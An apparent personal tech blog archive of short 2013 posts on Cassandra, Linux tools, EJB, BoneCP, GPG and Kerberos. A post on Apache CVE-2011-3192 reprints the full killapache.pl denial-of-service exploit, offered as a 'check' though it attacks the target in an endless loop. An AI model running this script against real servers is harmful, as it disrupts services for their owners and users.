Friday, October 18, 2013

How to generate murmur3 in cassandra2.0

Reading into this doc, got really curious on how the murmur3 hash value is generated.

So I dig at cassandra github, found this this class , it seem that, cassandra 2.0 generate the token for the primary key using this method hash3_x64_128. Below are the method to get it work.. just put this into any java class and see the token generated.

    

public static LongToken genToken(String rowKey) {
ByteBuffer key = ByteBufferUtil.bytes(rowKey);
long hash = MurmurHash.hash3_x64_128(key, key.position(), key.remaining(), 0)[0];
LongToken lk = new LongToken(normalize(hash));
return lk;
}

public static void main(String[] args) {
System.out.println(genToken("jim"));
}

private static long normalize(long v)
{
// We exclude the MINIMUM value; see getToken()
return v == Long.MIN_VALUE ? Long.MAX_VALUE : v;
}

 


with jim, it generated as 2680261686609811218. So that should be correct. Something extra, if you use nodetool to show the token ranges, e.g. nodetool -h localhost describering jw_schema1, you should get an idea with the token generated, the range on which nodes are responsible that hold the row data.

Allocate jvm heap more than 8GB for cassandra

What happen if you allocate jvm heap more than 8GB for cassandra instance? With my past experience, we allocate more than 16GB for the cassandra instance and it is still running fine. But occasionally we encounter performance issue when we increase more than 16GB to the heap. Google a little and found this doc

Excessive heap space size

DataStax recommends using the default heap space size for most use
cases. Exceeding this size can impair the Java virtual machine's
(JVM) ability to perform fluid garbage collections (GC). The
following table shows a comparison of heap space performances
reported by a Cassandra user:

Heap CPU utilization Queries per second Latency
40 GB 50% 750 1 second
8 GB 5% 8500 (not maxed out) 10 ms

For information on heap sizing, see Tuning Java resources.


As the benchmark indicate, the more heap you allocate, the higher the cpu usage is. Though the performance decrease is not linear but rather exponentially. So it is wise to keep the heap at 8GB or not more than 50% of that value. It is not deadly but it certainly decrease the performance of the cluster dramatically which would render it useless. If you encountered memory error in the log, in this situation, apart from other factors, it is better if you consider scale your cluster horizontally, that is adding more nodes to increase the capacity. But a quick workaround should you encounter memory error, the

So what happen really happen in the gc if high heap is allocated? well, excerpt from the guru,

..the concurrent mark/sweep phase runs concurrently with your
application. CMS will cause a stop-the-world full pause it it fails to
complete a CMS sweep in time and you hit the maximum heap size, but
unless that happens, CMS will run concurrently (though there are
stop-the-world pauses involved, that are typically very short, the
mark/sweep phase is concurrent).


Hence, if you really hit stop the world situation, this would render the node useless, because the node is too busy doing gc that, cassandra would not be able to perform.

http://www.mail-archive.com/user@cassandra.apache.org/msg17481.html
http://www.mail-archive.com/user@cassandra.apache.org/msg32312.html

Tuesday, October 15, 2013

arch install/remove/search packages

Much like aptitude on debian, archlinux also use the same tools to add and remove packages.

pacman is the packages handler on arch, but as on debian there are more then one tool for the job, pacman is the stock like apt-get is on debian. The commands I list here is the minimum you have to know, to handel packages on archlinux. pacman is a command-line tool.

pacman <options> packag1 pack2

to update: pacman -Syu

to install: pacman -S package1

to remove: pacman -R package1

to search: pacman -Ss pack-x

Always good practice to run pacman -Sy before any install, to be sure you get the latest package

Like on debian all the dependencies are solved by pacman.

This is just the most common used, to get the full information on it, go to the archwiki or man pacman.

cassandra 2.0 catch 101 - part1 - correct cassandra Unsupported major.minor version 51.0

This is another series of my journey to cassandra 2.0, if you have not read the previous post, you should read here

As cassandra 2.0 required jdk 7.0 or later, if your system has jdk 6 running and configure, it is still possible to run cassandra 2.0 with jdk7, that is to make them co-exists. Download jdk and extract to the directory, e.g. /usr/lib/jvm. add JAVA_HOME=/usr/lib/jvm/jdk1.7.0_04/ to /etc/default/cassandra. This should export the variable JAVA_HOME to your environment so that jdk 7 is used to start the cassandra successfully.

Because the above setting is set to work for cassandra instance only, for the admin tools that come with it, we will set another environment for it. This make sure we don't break our existing work. If you want the environment to work only for yourself, then you should create a file in your home directory. $HOME/.cassandra.in.sh . Below are the content.
JAVA_HOME=/usr/lib/jvm/jdk1.7.0_04
. /usr/share/cassandra/cassandra.in.sh

This first line is the same as previously but the second line, we source the additional environment setting for the admin tools so that it can find the java classes. With that done, you should not get the error Unsupported major.minor version 51.0 below anymore!
Exception in thread "main" java.lang.UnsupportedClassVersionError: org/apache/cassandra/tools/NodeCmd : Unsupported major.minor version 51.0
at java.lang.ClassLoader.defineClass1(Native Method)
at java.lang.ClassLoader.defineClassCond(ClassLoader.java:631)
at java.lang.ClassLoader.defineClass(ClassLoader.java:615)
at java.security.SecureClassLoader.defineClass(SecureClassLoader.java:141)
at java.net.URLClassLoader.defineClass(URLClassLoader.java:283)
at java.net.URLClassLoader.access$000(URLClassLoader.java:58)
at java.net.URLClassLoader$1.run(URLClassLoader.java:197)
at java.security.AccessController.doPrivileged(Native Method)
at java.net.URLClassLoader.findClass(URLClassLoader.java:190)
at java.lang.ClassLoader.loadClass(ClassLoader.java:306)
at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:301)
at java.lang.ClassLoader.loadClass(ClassLoader.java:247)
Could not find the main class: org.apache.cassandra.tools.NodeCmd. Program will exit.

Sunday, October 13, 2013

Changing default application that start a file

Sometime the default installation of an operating system configuration is not the way you wanted it to be, so with this article, it will show you how to change the application that open a file. Note that this article will work in gnome version 3.4.2 or later.

gui way
This is an easy way if you don't want to dig deep into how is the gnome mechanism file opening work. Just right click on the file, click on Properties. An pop up window associated with the file you selected appeared. On the tab Open With , locate the application you want the file to open with and then select it.

cli way
If you want to dig a little deeper, there are many configuration files located in /usr/share/applications. These files contain information about an application like application name and application exec command to trigger the start of an application. Once you located the application you want a file to be associated to start with, e.g. I would like csv file to be started with libreoffice-calc.desktop , then go to $HOME/.local/share/applications directory, locate another file, mimeapps.list. Open this file with an text editor, under the group [Default Applications] , add an entry like text/csv=libreoffice-calc.desktop. If you want to associated with more files, locate the general mime file at /etc/mime.types, and start to populate your environment with default application.

https://developer.gnome.org/integration-guide/stable/desktop-files.html.en

Saturday, October 12, 2013

analysis graph - gangnam style view



So after a year run, everyone on earth should not be alien about gangnam style; the korean kpop hit songs. It's impresive we see this video view in youtube break the most view youtube holder and set itself far ahead than the rest top 10 most view youtube videos.

Numbers speak and represent the popularity of the content, in this case, the song and the singer. With this article, I would like to share my thought and history experience about this song view chart. This is just my analysis and opinion based on this graph.

It was released sometime ago but it has not gain momentum, probably due to just released and new to the people. But from the black circle, this is where the slope is at its highest. At this time, videos played all over the tv, news play over and over in the radio, and even in social networking websites, everyone sharing this songs to everyone. The rate of explosion is tremendous!

Then we continue to see the curve going upward...as indicated in the red circle. There was a time where there is a video circulate in the internet said how the view is generated using a paid service company.. LoL.. lame.. that is, if you want to get your views goes high up, you paid a certain amount to a company, and they click on your video and view and does that continously for you. :-) But I don't think it happen for this song, because this gangnam trend is seem throughout the earth.. though it is korean song, the impact is everywhere, we can see mass public doing mob dance everywhere on earth.. also, the hundred of parodies....

Though the graph is still rising, as seen in blue circle, the rate of view is definitely slow down. somewhere during the period of 2013 april, that's about 6 months run! I think it has done good , considering a good pop song would not last like 2-3months... Nonetheless, true fans of Psy and newbie just watch the video still contributing the view rate. At this stage, Psy and his gangnam style has reach the fame and every household would know him.. maybe your pet, dog and cat too. :-)

The record breaking at almost 1.8billions view after july 2013 is really astonishing and greatest achievement. We see the graph not grow but in fact, if you zoom into the last of light yellow circle, you will see the fall of the view rate. I guesss it is only normal everyone is bored with this pop song. Would it grow any higher and stay steady? Trend and time will tell because we see history, there are pop songs goes back into chart, with gangnam style, there is high possibility too. Thereby push the graph higher.

That's it for my analysis and thank you for reading.

cassandra 2.0 catch 101

This is my experience with cassandra 2.0 and cqlsh, reading through the datastax documentation [1] , sometime you need to play around with the new tool to understand with the nature of the usage. It could be a bug, it could be just some changes, nonetheless, it is my experience reading and experiencing in cassandra 2.0. Some bugs may be fix or change in the later cassandra release and thus render this article invalid.. thus this article is only meant for cassandra 2.0 and cqlsh 4.0.0 . I will add more in my journey to cassandra 2.0


when updating config durable_writes to the keyspace, got a few times error... like below.


cqlsh:jw_schema1> alter keyspace jw_schema1 WITH replication = {'class': 'SimpleStrategy', 'replication_factor' : 3, durable_writes : false};
Bad Request: Failed parsing statement: [alter keyspace jw_schema1 WITH replication = {'class': 'SimpleStrategy', 'replication_factor' : 3, durable_writes : false};] reason: NullPointerException null
cqlsh:jw_schema1> alter keyspace jw_schema1 WITH replication = {'class': 'SimpleStrategy', 'replication_factor' : 3, durable_writes : 'false'};
Bad Request: Failed parsing statement: [alter keyspace jw_schema1 WITH replication = {'class': 'SimpleStrategy', 'replication_factor' : 3, durable_writes : 'false'};] reason: NullPointerException null
cqlsh:jw_schema1> alter keyspace jw_schema1 WITH replication = {'class': 'SimpleStrategy', 'replication_factor' : 3, durable_writes : 0};
Bad Request: Failed parsing statement: [alter keyspace jw_schema1 WITH replication = {'class': 'SimpleStrategy', 'replication_factor' : 3, durable_writes : 0};] reason: NullPointerException null
cqlsh:jw_schema1> alter keyspace jw_schema1 WITH replication = {'class': 'SimpleStrategy', 'replication_factor' : 3, durable_writes : 1};
Bad Request: Failed parsing statement: [alter keyspace jw_schema1 WITH replication = {'class': 'SimpleStrategy', 'replication_factor' : 3, durable_writes : 1};] reason: NullPointerException null
cqlsh:jw_schema1> alter keyspace jw_schema1 WITH replication = {'class': 'SimpleStrategy', 'replication_factor' : 3, durable_writes : '1'};
Bad Request: Failed parsing statement: [alter keyspace jw_schema1 WITH replication = {'class': 'SimpleStrategy', 'replication_factor' : 3, durable_writes : '1'};] reason: NullPointerException null
cqlsh:jw_schema1> alter keyspace jw_schema1 WITH replication = {'class': 'SimpleStrategy', 'replication_factor' : 3, durable_writes : '0'};
Bad Request: Failed parsing statement: [alter keyspace jw_schema1 WITH replication = {'class': 'SimpleStrategy', 'replication_factor' : 3, durable_writes : '0'};] reason: NullPointerException null
cqlsh:jw_schema1> alter keyspace jw_schema1 WITH replication = {'class': 'SimpleStrategy', 'replication_factor' : 3, durable_writes : 'False'};
Bad Request: Failed parsing statement: [alter keyspace jw_schema1 WITH replication = {'class': 'SimpleStrategy', 'replication_factor' : 3, durable_writes : 'False'};] reason: NullPointerException null
cqlsh:jw_schema1> alter keyspace jw_schema1 WITH replication = {'class': 'SimpleStrategy', 'replication_factor' : 3, durable_writes : 'True'};
Bad Request: Failed parsing statement: [alter keyspace jw_schema1 WITH replication = {'class': 'SimpleStrategy', 'replication_factor' : 3, durable_writes : 'True'};] reason: NullPointerException null
cqlsh:jw_schema1> alter keyspace jw_schema1 WITH replication = {'class': 'SimpleStrategy', 'replication_factor' : 3, durable_writes : True};
Bad Request: Failed parsing statement: [alter keyspace jw_schema1 WITH replication = {'class': 'SimpleStrategy', 'replication_factor' : 3, durable_writes : True};] reason: NullPointerException null
cqlsh:jw_schema1> alter keyspace jw_schema1 WITH replication = {'class': 'SimpleStrategy', 'replication_factor' : 3, durable_writes : False};
Bad Request: Failed parsing statement: [alter keyspace jw_schema1 WITH replication = {'class': 'SimpleStrategy', 'replication_factor' : 3, durable_writes : False};] reason: NullPointerException null


just specified as one config in the alter keyspace command. It strange alter keyspace is not in the cqlsh help file...


cqlsh:jw_schema1> alter keyspace jw_schema1 with durable_writes = false;
cqlsh:jw_schema1> DESCRIBE KEYSPACE jw_schema1;

CREATE KEYSPACE jw_schema1 WITH replication = {
'class': 'SimpleStrategy',
'replication_factor': '3'
} AND durable_writes = 'false';


voila!

[1] http://www.datastax.com/documentation/cassandra/2.0/webhelp/index.html#cassandra/configuration/configStorage_r.html#reference_ds_itw_wkz_1k
[2] http://cassandra.apache.org/doc/cql3/CQL.html#alterKeyspaceStmt

Friday, October 11, 2013

disk usage via command df

I'm pretty sure all of us have bunch of collections files like documents, audio and video in our computer and what is the simple way to check if the disk space usage is exceed the capacity that physical disk provided? For starter, I'm using a command called df, it cames from the package coreutils if you are using Fedora.

What is df?
df displays the amount of disk space available on the file system containing each file name argument.

Example of usage of df?

$ df
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/mapper/vg_super-lv_root
51606140 9213992 39770708 19% /
tmpfs 1977424 2348 1975076 1% /dev/shm
/dev/sda5 495844 68681 401563 15% /boot
/dev/mapper/vg_super-lv_home
92792824 60272440 27806708 69% /home


$ df /usr/share/man/man1/df.1.gz
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/mapper/vg_super-lv_root
51606140 9214012 39770688 19% /


df in techical
- Disk space is shown in 1K blocks by default, unless the environment variable POSIXLY_CORRECT is set, in which case 512-byte blocks are used.
- if the partition is not mounted, it will not shown in the df report.


Based on the example usage shown above, the output shown is not human readable, we have to add additional parameters to the command df to make the report much more readable, I summarize some of the parameters with description which I frequently used but if you want a full list, man df to get an all parameters available to command df.

-h, with this parameter, it output human readable size, such as KiB, MiB

-H, with this parameter, it output human readable size too but use power of 1000 not 1024. You could probably noticed that the hard disk normally use this unit to measure its capacity.

-T, with this parameter, it show additional column called type to shown the type of filesystem it is formatted.

--total, with this parameter, it give you a grand total of all the mounted filesystem in the report.

[debian] installing and removing with the same command

When you need to install a package and remove a package, you can do it with a single command than two separate commands. This can be achieve by appending a suffix to the package name. When the aptitude install command is used, a '-' to the suffix of the package name is to remove the package while an aptitude command remove with a '+' suffix to the package name is to install the package.

# aptitude install package1 package2-

# aptitude remove package1+ package2

what pages in memory context?

When a process uses some memory, the CPU is marking the RAM as used by that process. For efficiency, the CPU allocate RAM by chunks of 4K bytes (it's the default value on many platforms). Those chunks are named pages. Those pages can be swapped to disk, etc.

Thursday, October 10, 2013

cassandra

I've been studying cassandra recently and would like to share my findings.

What is cassandra?

Apache Cassandra is an open source, distributed, decentralized, elastically scalable, highly available, fault-tolerant, tuneably consistent, column-oriented database.

Cassandra is an open source distributed database management system. It is designed to handle very large amounts of data spread out across many commodity servers while providing a highly available service with no single point of failure.

Cassandra provides a structured key-value store with eventual consistency. Keys map to multiple values, which are grouped into column families. The column families are fixed when a Cassandra database is created, but columns can be added to a family at any time. Furthermore, columns are added only to specified keys, so different keys can have different numbers of columns in any given family. The values from a column family for each key are stored together, making Cassandra a hybrid between a column-oriented DBMS and a row-oriented store.

where is cassandra use?
well, you can store whatever you want, for example, we used cassandra to store the call detail record.

where do i get started to learn cassandra?
i suggest you start with a cassandra book for beginner or person coming from RDBMS. Because there are new terminology with is introduced in cassandra. When you get a hold on cassandra, you should really get the source from apache cassandra website and they have a great information in their wiki page.

where do i get help if i have question?
they have mailing list where you can find if your question is asked before or you can contact me. :-)

Enterprise JavaBeans

1. What is EJB?
Enterprise JavaBeans is a managed, server-side component architecture for modular construction of enterprise application.

2. What is feature of EJB?
EJB provies stateless session beans which is efficient avenue for distributed transactions. It also provides remote and transaction support where simple POJOs does not.

3. Where is EJB best used at?
You should use ejb if it solves a problem for you that one of the light weight frameworks does not. For examples, clustering, fail-over, distributed caching and administration tools.

4. should we use ejb 2.0 or ejb 3.0 if im starting it out to learn ejb?
excerpt from stackoverflow.com [4]
The goal of EJB 3.0 is target ease of development, the main theme of the JAVA EE 5 platform release. EJB 3.0 is a major simplification over the APIs defined by the EJB 2.1 and earlier specifications. The simplified EJB 3.0 API allows developers to program EJB components as ordinary Java objects with ordinary Java business interfaces rather than as heavy weight components. Both component and client code are simplified, and the same tasks can be accomplished in a simpler way, with fewer lines of code. Because it is much simpler, EJB 3.0 is also much faster to learn to use than EJB 2.1

5. Any book describing EJB which you recommend?
Enterprise JavaBeans 3.1 [5]

6. Show me example of codes that EJB are used at?
in the web environment.

web.xml

<ejb-ref>
<ejb-ref-name>ejb/userManagerBean</ejb-ref-name>
<ejb-ref-type>Session</ejb-ref-type>
<home>gha.ywk.name.entry.ejb.usermanager.UserManagerHome</home>
<remote>what should go here??</remote>
</ejb-ref>


class Foo
{

public UserManager getUserManager() throws HUDException
{
String ROLE_JNDI_NAME = 'ejb/userManagerBean';

try
{
Properties props = System.getProperties();
Context ctx = new InitialContext(props);
UserManagerHome userHome = (UserManagerHome) ctx.lookup(ROLE_JNDI_NAME);
UserManager userManager = userHome.create();
WASSSecurity user = userManager.getUserProfile('user101', null);
return userManager;
}
catch (NamingException e)
{
log.error('Error occured while getting EJB UserManager ' + e);
return null;
}
catch (RemoteException ex)
{
log.error('Error occured while getting EJB UserManager' + ex);
return null;
}
catch (CreateException ex)
{
log.error('Error occured while getting EJB UserManager' + ex);
return null;
}

}

}

// create a home interface
// a remote EJB object - extends javax.ejb.EJBHome
// a local EJB object - extends javax.ejb.EJBLocalHome
public interface MyBeanRemoteHome extends javax.ejb.EJBHOME
{
MyBeanRemote create() throws javax.ejb.CreateException, java.rmi.RemoteException;
}

// create an business interface in order to define business logic in our
// ejb object

// a remote EJB object - extends javax.ejb.EJBObject
// a local EJB object - extends javax.ejb.EJBLocalObject
public interface MyBeanRemote extends javax.ejb.EJBObject
{
void doSomething() throws java.rmi.RemoteException;
}

// our ejb
public class MyBean implements javax.ejb.SessionBean
{
// why create method ? Take a special look at EJB Home details (above)
public void create()
{
System.out.println('create');
}

public void doSomething() throws java.rmi.RemoteException
{
// some code
}
}


ejb-jar.xml


<?xml version='1.0' encoding ='UTF-8'?>
<ejb-jar xmlns='http://java.sun.com/xml/ns/j2ee' xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' xsi:schemaLocation='http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/ejb-jar_2_1.xsd version='2.1'>
<enterprise-beans>
<sessions>
<ejb-name>HelloWorldEJB</ejb-name>
<home>br.com.MyBeanRemoteHome</home>
<remote>br.com.MyBeanRemote</remote>
<local-home>br.com.MyBeanLocalHome</local-home>
<local>br.com.MyBeanLocal</local>
<ejb-class>br.com.MyBean</ejb-class>
<session-type>Stateless</session-type>
<transaction-type>Container</transaction-type>
</sessions>
</enterprise-beans>
</ejb-jar>


and put in META-INF directory.


/META-INF/ejb-jar.xml
br.com.MyBean.class
br.com.MyBeanRemote.class
br.com.MyBeanRemoteHome.class


now our ejb 3.0


// or @Local
// You can not put @Remote and @Local at the same time
@Remote
public interface MyBean
{
void doSomething();
}

@Stateless
public class MyBeanStateless implements MyBean
{

public void doSomething()
{

}

}


[1] http://stackoverflow.com/questions/2506915/why-should-i-use-ejb
[2] http://www.innoq.com/blog/st/2007/03/01/java_eeejb_3_vs_spring.html
[3] http://en.wikipedia.org/wiki/Enterprise_JavaBean
[4] http://stackoverflow.com/questions/1737686/help-me-out-in-learning-ejb
[5] http://www.amazon.com/Enterprise-JavaBeans-3-1-Andrew-Rubinger/dp/0596158025/ref=sr_1_1?s=books&ie=UTF8&qid=1319341380&sr=1-1

Wednesday, October 9, 2013

how to configure bonecp 0.7.1 in struts 1.3.10

This is a response to http://stackoverflow.com/questions/9203648/how-to-do-connection-pooling-on-struts-fraework/9204790#comment11767509_9204790 the question of the Original Poster on how to configure bonecp in struts. Due to the lengthy of the howto, thus, the environment setup, coding, and detail guide are describe here instead.

Note! This howto is not meant for performance nor able to work for everyone but it serve as a guide to ensure bonecp able to work in struts in 1.3. As far as I know, data-sources is removed from struts 1.2 dtd and thus,this guide serve as a functional documentation on how to configure bonecp in struts via tomcat5.


1. the environment for this howto is at below

operating system : centos 5.6 2.6.18-238.19.1.el5
tomcat : tomcat5-5.5.23-0jpp.19.el5_6
struts : struts-1.3.10
bonecp : bonecp-0.7.1.RELEASE.jar
mysql-connector-java : mysql-connector-java-5.1.16.jar
mysql : mysql-server-5.0.95-1.el5_7.1
dependency of struts : commons-digester-1.8.jar
commons-chain-1.2.jar
commons-beanutils-1.8.0.jar
struts-taglib-1.3.10.jar
dependency of bonecp : guava-11.0.1.jar
slf4j-api-1.6.4.jar


2. Note: place these jar file into tomcat common lib directory,

bonecp-0.7.1.RELEASE.jar
guava-11.0.1.jar
slf4j-api-1.6.4.jar (and slf4j-log4j if you want to)
mysql-connector-java-5.1.16.jar


3. Locate tomcat server.xml (for this example, it is /etc/tomcat5/server.xml) and provide this below, under GlobalNamingResources, add a new resource.

<Resource type='javax.sql.DataSource'
name='demodb'
factory='com.jolbox.bonecp.BoneCPDataSource'
driverClassName='com.mysql.jdbc.Driver'
jdbcUrl='jdbc:mysql://localhost/demo'
username='user1'
password='password1'
idleMaxAge='240'
idleConnectionTestPeriod='60'
partitionCount='3'
acquireIncrement='5'
maxConnectionsPerPartition='10'
minConnectionsPerPartition='5'
statementsCacheSize='50'
releaseHelperThreads='5'
/>


4. Location tomcat context.xml (for this example, it is /etc/tomcat5/context.xml), add a resource link.

<!-- The contents of this file will be loaded for each web application -->
<Context>

<!-- Default set of monitored resources -->
<WatchedResource>WEB-INF/web.xml</WatchedResource>

<!-- Uncomment this to disable session persistence across Tomcat restarts -->
<!--
<Manager pathname='' />
-->

<ResourceLink global='demodb' name='demodb' type='javax.sql.DataSource'/>


</Context>



5., then, the struts-config.xml

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE struts-config PUBLIC
'-//Apache Software Foundation//DTD Struts Configuration 1.3//EN'
'http://jakarta.apache.org/struts/dtds/struts-config_1_3.dtd'>

<struts-config>

<form-beans>
<form-bean name='helloWorldForm' type='com.e2e.form.HelloWorldForm' />
</form-beans>

<action-mappings>
<action path='/helloWorld' type='com.e2e.action.HelloWorldAction'
name='helloWorldForm'>
<forward name='success' path='/HelloWorld.jsp' />
</action>
<action path='/DataSource' type='com.e2e.action.TestDataSource'>
<forward name='success' path='/success.jsp'></forward>
</action>
</action-mappings>

</struts-config>


6. then the web description, web.xml

<!DOCTYPE web-app PUBLIC
'-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN'
'http://java.sun.com/dtd/web-app_2_3.dtd' >

<web-app>
<display-name>bonecp-struts</display-name>

<servlet>
<servlet-name>action</servlet-name>
<servlet-class>
org.apache.struts.action.ActionServlet
</servlet-class>
<init-param>
<param-name>config</param-name>
<param-value>
/WEB-INF/struts-config.xml
</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>

<servlet-mapping>
<servlet-name>action</servlet-name>
<url-pattern>*.do</url-pattern>
</servlet-mapping>

<resource-ref>
<description>struts-bonecp</description>
<res-ref-name>demodb</res-ref-name>
<res-type>javax.sql.DataSource</res-type>
<res-auth>Container</res-auth>
</resource-ref>

</web-app>


7. then the TestDataSource.java

package com.e2e.action;

import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.sql.DataSource;

import org.apache.struts.action.Action;
import org.apache.struts.action.ActionForm;
import org.apache.struts.action.ActionForward;
import org.apache.struts.action.ActionMapping;

public class TestDataSource extends Action
{
public ActionForward execute(ActionMapping mapping,
ActionForm form,
HttpServletRequest request,
HttpServletResponse response) throws Exception
{
javax.sql.DataSource dataSource;
java.sql.Connection myConnection=null;
try
{
dataSource = getDataSource(request);
if (dataSource == null)
{
System.out.println('datasource is null');
}
myConnection = dataSource.getConnection();
Statement stmt=myConnection.createStatement();
ResultSet rst=stmt.executeQuery('select username from test');
System.out.println('******************************************');
System.out.println('********Out Put from TestDataSource ******');
while(rst.next())
{
System.out.println('User Name is: ' + rst.getString('username'));
}
System.out.println('******************************************');
rst.close();
stmt.close();
// do what you wish with myConnection
}
catch (SQLException sqle)
{
getServlet().log('Connection.process', sqle);
}
finally
{
//enclose this in a finally block to make
//sure the connection is closed
try
{
myConnection.close();
}
catch (SQLException e)
{
getServlet().log('Connection.close', e);
}
}

return mapping.findForward('success');
}

private DataSource getDataSource(HttpServletRequest request) throws NamingException
{
Context ctx = new InitialContext();
DataSource ds = (DataSource)ctx.lookup('java:comp/env/demodb');
return ds;
}

}


8. create a simple jsp page under directory WEB-INF

<%@ page language='java' contentType='text/html; charset=UTF-8'
pageEncoding='UTF-8'%>
<!DOCTYPE html PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN' 'http://www.w3.org/TR/html4/loose.dtd'>
<html>
<head>
<meta http-equiv='Content-Type' content='text/html; charset=UTF-8'>
<title>Insert title here</title>
</head>
<body>
OK
</body>
</html>


9. finally, hit the link http://:8080/bonecp-struts/DataSource.do
you should be able to see an OK in the browser and if you tail the log in tomcat log directory (in this example, it is /var/log/tomcat5/catalina.out) , you should be able to see data is retrieve from the database and printed.

http vulnerability CVE-2011-3192

What is the vulnerable about?
The byterange filter in the Apache HTTP Server 1.3.x, 2.0.x through 2.0.64, and 2.2.x through 2.2.19 allows remote attackers to cause a denial of service (memory and CPU consumption) via a Range header that expresses multiple overlapping ranges, as exploited in the wild in August 2011, a different vulnerability than CVE-2007-0086. see [4] for more information.

What actually happen in the vulnerable system?
see the video [2] which show spike in the httpd processes in the system as well as consume a lot of cpu cycle and memory.

Has it been fixed?
yes, see [3]

What is the rpm for this fix?
to be exact, it is fixed in apache version 2.2.20 and it is available in the
2.2.3-53.el5.centos.1 rpm. for more information, see [5]

Is there a way to check if system is vulnerable?
yes, you can use this script.

#Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#

use IO::Socket;
use Parallel::ForkManager;

sub usage {
print 'Apache Remote Denial of Service (memory exhaustion)';
print 'by Kingcope';
print 'usage: perl killapache.pl [numforks]';
print 'example: perl killapache.pl www.example.com 50';
}

sub killapache {
print 'ATTACKING $ARGV[0] [using $numforks forks]';

$pm = new Parallel::ForkManager($numforks);

$|=1;
srand(time());
$p = '';
for ($k=0;$k<1300;$k++) {
$p .= ',5-$k';
}

for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next;

$x = '';
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => '80',
Proto => 'tcp');

$p = 'HEAD / HTTP/1.1Host: $ARGV[0]Range:bytes=0-$pAccept-Encoding: gzipConnection: close';
print $sock $p;

while(<$sock>) {
}
$pm->finish;
}
$pm->wait_all_children;
print ':pPpPpppPpPPppPpppPp';
}

sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => '80',
Proto => 'tcp');

$p = 'HEAD / HTTP/1.1Host: $ARGV[0]Range:bytes=0-$pAccept-Encoding: gzipConnection: close';
print $sock $p;

$x = <$sock>;
if ($x =~ /Partial/) {
print 'host seems vuln';
return 1;
} else {
return 0;
}
}

if ($#ARGV < 0) {
usage;
exit;
}

if ($#ARGV > 1) {
$numforks = $ARGV[1];
} else {$numforks = 50;}

$v = testapache();
if ($v == 0) {
print 'Host does not seem vulnerable';
exit;
}

while(1) {
killapache();
}


[1] http://seclists.org/fulldisclosure/2011/Aug/281
[2] http://www.youtube.com/watch?v=3al1lsvFSpA
[3] https://bugzilla.redhat.com/show_bug.cgi?id=732928
[4] https://www.redhat.com/security/data/cve/CVE-2011-3192.html
[5] https://www.apache.org/dist/httpd/Announcement2.2.html

Monday, October 7, 2013

Gnu Privacy Guard (GPG) introduction

1. what is gpg?
GNU Privacy Guard (GnuPG or GPG) is a GPL licensed alternative to
the PGP suite of cryptographic software.

2. where does it used?
excerpt from wikipedia [3]
Although the basic GnuPG program has a command line interface,
there exist various front-ends that provide it with a graphical user
interface. For example, GnuPG encryption support has been integrated
into KMail and Evolution, the graphical e-mail clients found in KDE
and GNOME, the most popular Linux desktops. There are also
graphical GnuPG front-ends (Seahorse for GNOME, KGPG for KDE).
For Mac OS X, the Mac GPG project provides a number of Aqua
front-ends for OS integration of encryption and key management as
well as GnuPG installations via Installer packages. Furthermore, the
GPGTools Installer installs all related OpenPGP applications (GPG
Keychain Access), plugins (GPGMail) and dependencies (MacGPG) to
use GnuPG based encryption. Instant messaging applications such as
Psi and Fire can automatically secure messages when GnuPG is
installed and configured. Web-based software such as Horde also
makes use of it. The cross-platform plugin Enigmail provides GnuPG
support for Mozilla Thunderbird and SeaMonkey. Similarly, Enigform
provides GnuPG support for Mozilla Firefox. FireGPG was
discontinued June 7, 2010.

2. should i use it?
excerpt from the kernel discussion [1]
There is going to be discussion about security procedures at the kernel
summit; to date we've been focused on the short-term requirements to
get git.kernel.org back up so that the next merge window can open up,
hopefully without getting instantly compromised again. That's going to
require the help of everyone that we trust, especially from folks who
are maintaining git repositories.

I personally don't think we're headed into sign-all-patches, since
patches still need to be reviewed, and at some level, as long as the
patch is reviewed to be Good Stuff, that's actually the most important
thing.

That being said, if you have a GPG key, and you can participate in a
key signing exercise so that you are part of the web of trust, that also
means that you have a much better ability to trust that git trees that
you pull down to your system that have signed tags are in fact
legitimate (at least up to a signed tag).

So there are good reasons why developers who primarily participate
by e-mailing patches might want to start using GPG.

3. how long should the new key be valid?
excerpt from the kernel discussion [1]
That is a good question. At the very least you want it to be valid for
long enough that you will be able to get enough signatures on a new
key *before* your old key expires. As such I would recommend 3-5
years depending on how much you trust yourself to keep the key
secure.

Some people have decided to opt for an unlimited key, but that
*requires* that you have a way to revoke the old key, which is why we
are considering a key revocation escrow service.

4. what tools do i need to generate a gpg key?
well, you need gpg. To generate the key,
$ gpg --gen-key and follow the steps on screen.
you can read for more information in [2]

 

[1] http://help.lockergnome.com/linux/kernel-org-status-establishing-PGP-web-trust--ftopict544109.html
[2] http://cryptnet.net/fdp/crypto/keysigning_party/en/keysigning_party.html#prep
[3] http://en.wikipedia.org/wiki/GNU_Privacy_Guard

kerberos

1. what is kerberos?

from wikipedia,

kerberos is a computer network authentication protocol which works on the basis of 'tickets' to allow nodes communicating over a non-secure network to prove their identity to one another in a secure manner.

okay... so what it actually means?
It means in a network, a client computer authenticate to a server and this process mutually prove the identify of the client and the server respectively.

A 'ticket' is produced if the identity is authenticated and authorized. This ticket can be used by client to access the computer resources that it allowed to.
2. how does it really works?

Imagine with two computer, server A and client B. server A and client B is connected together in a TCP network. Now client B need to access a computer resource, which require authentication.

Server A provide the service of authentication over the network. Now client B will authenticate itself to the Authentication Server (AS). This username will be forward to a Key Distribution Center (KDC).

The KDC issues a Ticket Granting Ticket (TGT). TGT is produced with a time stamped, encrypt it using the user password. TGT will be return to the users' workstation.

